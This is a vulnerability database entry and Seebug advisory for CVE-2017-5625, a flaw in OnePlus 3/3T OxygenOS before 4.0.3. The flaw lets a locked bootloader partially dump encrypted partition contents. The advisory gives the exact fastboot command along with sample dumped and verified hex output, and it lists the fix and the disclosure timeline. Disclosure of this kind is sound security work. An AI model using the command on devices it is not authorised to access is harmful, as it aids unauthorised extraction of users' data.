Vulnerabilities > CVE-2017-5625 - NULL Pointer Dereference vulnerability in Oneplus Oxygenos 3.2.8/3.5.4/4.0.2
Attack vector
PHYSICAL Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
NONE Availability impact
NONE Summary
In OxygenOS before 4.0.3 on OnePlus 3 and 3T devices, an unauthorized attacker can cause a locked bootloader to partially dump the ciphertext content of an arbitrary partition (except 'keystore') by issuing the 'fastboot oem dump <partition>' fastboot command.
Vulnerable Configurations
| Part | Description | Count |
|---|---|---|
| OS | 3 | |
| Hardware | 2 |
Common Weakness Enumeration (CWE)
Seebug
| bulletinFamily | exploit |
| description | #### Products * OnePlus 3T * OnePlus 3 #### Vulnerable Version * OxygenOS 4.0.2 and earlier #### Mitigation * Install OxygenOS 4.0.3 or later #### Summary A physical attacker, PC malware / malicious charger having ADB or fastboot access to the device can cause a locked bootloader to partially dump the content of an arbitrary partition (except keystore) by issuing the fastboot oem dump <partition> fastboot command. Technical Details The bootloader’s fastboot interface must not allow any security-sensitive operation to be run unless the bootloader is unlocked. However, in the affected OnePlus devices and OxygenOS versions, one could partially dump the content of any partition (except keystore): ``` > fastboot oem dump userdata [...] (bootloader) Dump partition: userdata (bootloader) C0C7A7D7DFE7BA0214A21F3366313AF2DA7B36AEF27B5C40694D9534B2D (bootloader) 3B19C068DEED8C7D333037AB6B770494DD054076171B1D33555C7EEC3FB (bootloader) E793F5692B86E95D4D697FA98966D82E256103641605149439404A89309 (bootloader) 9EFFB47DFC976857BDE7D388A0DC45B84A97CCD7A0F9CD592EE50D6D6EE (bootloader) 239E3D9829DFC8627A0F19D8D73FE258A7B576C31DACBAB0EB8B5D01679 (bootloader) B78A8C51D338385A853E4E2A3DBA2A873FC707BEE052F56168050964B94 [...] ``` And indeed the data is correct: ``` OnePlus3:/dev/block/bootdevice/by-name # head userdata | od -tx 0000000 c0c7a7d7 dfe7ba02 14a21f33 66313af2 0000020 da7b36ae f27b5c40 694d9534 b2d361fa 0000040 2cd4f050 79e5e97c 55be1782 b34fbfef 0000060 1edc578b b8cdaf6d 24dfaf1b d7461400 0000100 3b19c068 deed8c7d 333037ab 6b770494 0000120 dd054076 171b1d33 0555c7ee c3fb029b 0000140 4f92d8a2 2af74432 e07bf276 42e3639e 0000160 d5979e35 7cd4adcb ed181221 09a484d1 ``` One may argue that this is not an issue because userdata is encrypted, however please note that: * Google has recently patched a vulnerability with a similar impact in Pixel (CVE-2016-8462). It was rated with ‘High’ severity. * Other vulnerabilies (if found) can be used in order to leak the AES master key from memory. #### Timeline * 25-Apr-17: Public disclosure. * 20-Mar-17: Patch available. * 01-Mar-17: Added as ALEPH-2017006. * 29-Jan-17: CVE-2017-5625 assigned. * 25-Jan-17: CVE ID requested. * 23-Jan-17: Reported. |
| id | SSV:93103 |
| last seen | 2017-11-19 |
| modified | 2017-05-12 |
| published | 2017-05-12 |
| reporter | Root |
| title | OnePlus 3/3T OxygenOS Unauthorized Flash Dumping via fastboot(CVE-2017-5625) |